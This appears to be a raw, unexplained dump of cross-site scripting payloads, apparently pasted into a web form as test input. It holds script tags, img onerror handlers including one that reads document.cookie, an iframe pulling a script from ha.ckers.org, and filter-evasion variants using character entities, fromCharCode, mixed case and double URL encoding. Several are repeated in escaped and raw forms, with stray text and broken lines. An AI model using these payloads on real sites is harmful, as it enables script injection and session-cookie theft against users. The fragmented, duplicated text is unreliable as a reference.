'"><img src=x onerror=prompt(0);>

'"><img src=x onerror=prompt(40);>

"><img src=x onerror=prompt(document.cookie)>.txt.jpg.txt

&lt;script&gt;alert
("XSS")&lt;&#x2F;script&gt;&lt;script&gt;alert
("XSS");&lt;&#x2F;script&gt;&lt;script&gt;alert
('XSS')&lt;&#x2F;script&gt;"&gt;&lt;script&gt;aler
t("XSS")&lt;&#x2F;script&gt;&lt;script&gt;alert
(&#x2F;XSS")&lt;&#x2F;script&gt;&lt;script&gt;al
ert
(&#x2F;XSS&#x2F;)&lt;&#x2F;script&gt;&lt;&#x2
F;script&gt;&lt;script&gt;alert
(1)&lt;&#x2F;script&gt;‘; alert(1);')alert
(1);&#x2F;&#x2F; &lt;ScRiPt&gt;alert
(1)&lt;&#x2F;sCriPt&gt;&lt;IMG 
SRC=alert('XSS')&gt;&lt;IMG 
SRC="alert('XSS');"&gt;&lt;IMG 
SRC=alert
(&quot;XSS&quot;)&gt;&lt;IMG 
SRC=alert('XSS')&gt;&lt;img src=xss 
onerror=alert(1)&gt;&lt;IMG 
"""&gt;&lt;SCRIPT&gt;alert
("XSS")&lt;&#x2F;SCRIPT&gt;"&gt; &lt;IMG 
SRC=alert(String.fromCharCode
(88,83,83))&gt; &lt;IMG SRC="jav ascript:alert
('XSS');"&gt; &lt;IMG 
SRC="jav&#x09;ascript:alert('XSS');"&gt;&lt;IMG 
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&
#114;&#105;&#112;&#116;&#58;&#97;&#108;
&#101;&#114;&#116;&#40;&#39;&#88;&#83;&
#83;&#39;&#41;&gt; &lt;IMG 
SRC=&#0000106&#0000097&#0000118&#00000
97&#0000115&#0000099&#0000114&#0000105&
#0000112&#0000116&#0000058&#0000097&#00
00108&#0000101&#0000114&#0000116&#00000
40&#0000039&#0000088&#0000083&#0000083&
#0000039&#0000041&gt;&lt;IMG 
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x
72&#x69&#x7&#x74&#x3A&#x61&#x6C&#x65&
#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x2
7&#x29&gt; &lt;BODY 
BACKGROUND="alert('XSS')"&gt;  
&lt;BODY ONLOAD=alert('XSS')&gt;&lt;INPUT 
TYPE="IMAGE" SRC="alert
('XSS');"&gt;&lt;IMG SRC="alert
('XSS')"&lt;iframe 
src=http:&#x2F;&#x2F;ha.ckers.org&#x2F;scriptl
et.html &gt;&lt;&lt;SCRIPT&gt;alert
("XSS");&#x2F;&#x2F;&lt;&lt;&#x2F;SCRIPT&gt;
%253cscript%253ealert(1)%253c&#x2F;script
%253e"&gt;&lt;s"%2b"cript&gt;alert
(document.cookie)&lt;&#x2F;script&gt;foo&lt;scri
pt&gt;alert
(1)&lt;&#x2F;script&gt;&lt;scr&lt;script&gt;ipt&gt
;alert(1)&lt;&#x2F;scr&lt;&#x2F;script&gt;ipt&gt; 
&lt;SCRIPT&gt;String.fromCharCode(97, 108, 
101, 114, 116, 40, 49, 41)&lt;&#x2F;SCRIPT&gt;   
 ';alert(String.fromCharCode
(88,83,83))&#x2F;&#x2F;\';alert
(String.fromCharCode
(88,83,83))&#x2F;&#x2F;";alert
(String.fromCharCode(88,83,83))&#x2F;&#x2F;
\";alert(String.fromCharCode
(88,83,83))&#x2F;&#x2F;--
&gt;&lt;&#x2F;SCRIPT&gt;"&gt;'&gt;&lt;SCRIPT&
gt;alert(String.fromCharCode
(88,83,83))&lt;&#x2F;SCRIPT&gt;

&lt;script&gt;alert("XSS")&lt;&#x2F;script&gt;&lt;script&gt;alert("XSS");&lt;&#x2F;script&gt;&lt;script&gt;alert('XSS')&lt;&#x2F;script&gt;"&gt;&lt;script&gt;alert("XSS")&lt;&#x2F;script&gt;&lt;script&gt;alert(&#x2F;XSS")&lt;&#x2F;script&gt;&lt;script&gt;

<script>alert("XSS")</script><script>alert("XSS");</script><script>alert('XSS')</script>"><script>alert("XSS")</script><script>alert(/XSS")</script><script>

Blinkms Ij

&lt;script&gt;alert("XSS")&lt;&#x2F;script&gt;&lt;script&gt;alert("XSS");&lt;&#x2F;script&gt;&lt;script&gt;alert('XSS')&lt;&#x2F;script&gt;"&gt;&lt;script&gt;alert("XSS")&lt;&#x2F;script&gt;&lt;script&gt;alert(&#x2F;XSS")&lt;&#x2F;script&gt;&lt;script&gt;

Blinkms Ij

<script>alert("XSS")</script><script>alert("XSS");</script><script>alert('XSS')</script>"><script>alert("XSS")</script><script>alert(/XSS")</script><script>